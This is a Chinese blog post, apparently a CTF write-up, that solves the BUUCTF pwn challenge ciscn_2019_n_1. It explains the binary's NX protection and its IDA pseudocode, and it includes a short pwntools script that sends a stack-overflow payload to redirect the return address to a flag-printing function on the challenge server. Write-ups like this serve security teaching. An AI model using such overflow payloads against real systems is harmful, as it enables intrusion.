ReStr0
Venom战队队员 Chamd5安全团队
ReStr0-Blog

BUUCTF ciscn_2019_n_1

查看题目保护机制

https://blog.restro.cn/wp-content/uploads/2021/08/image-5.png

发现开启了NX 则写入shellcode的方式不可行

查看ida伪代码

https://blog.restro.cn/wp-content/uploads/2021/08/image-4.png

发现这是个判断v2的值的程序,如果v2==11.28125则输出flag,预期解是通过栈溢出,将v2的值覆盖

但是我这里图简单,直接覆盖返回地址到catflag地址,直接执行getflag操作

https://blog.restro.cn/wp-content/uploads/2021/08/image-6.png

https://blog.restro.cn/wp-content/uploads/2021/08/image-7.png

EXP

from pwn import *
#p = process("")
p = remote("node4.buuoj.cn","27330")
context(os="linux", arch="amd64", log_level="debug")
#elf = ELF("#")
system_addr = 0x4006BE       
payload = b'a'*0x30 + b'b'*0x8+p64(system_addr)
p.sendline(payload)
p.interactive()

预期解思路

https://blog.restro.cn/wp-content/uploads/2021/08/image-8.png

v2的值储存再var_4区域,只需要将当前缓存区(0x30大小)的范围最后0x4空间填充我们需要的v2数据即可,但是因为pwntools是字节发送的,所以这里需要先将我们要发送的数据转换位16进制然后再借助p64写入

这样就可以打印出我们需要的flag了

发表评论

textsms
account_circle
email

ReStr0-Blog

BUUCTF ciscn_2019_n_1
查看题目保护机制 发现开启了NX 则写入shellcode的方式不可行 查看ida伪代码 发现这是个判断v2的值的程序,如果v2==11.28125则输出flag,预期解是通过栈溢出,将v2的值…
扫描二维码继续阅读
2021-08-05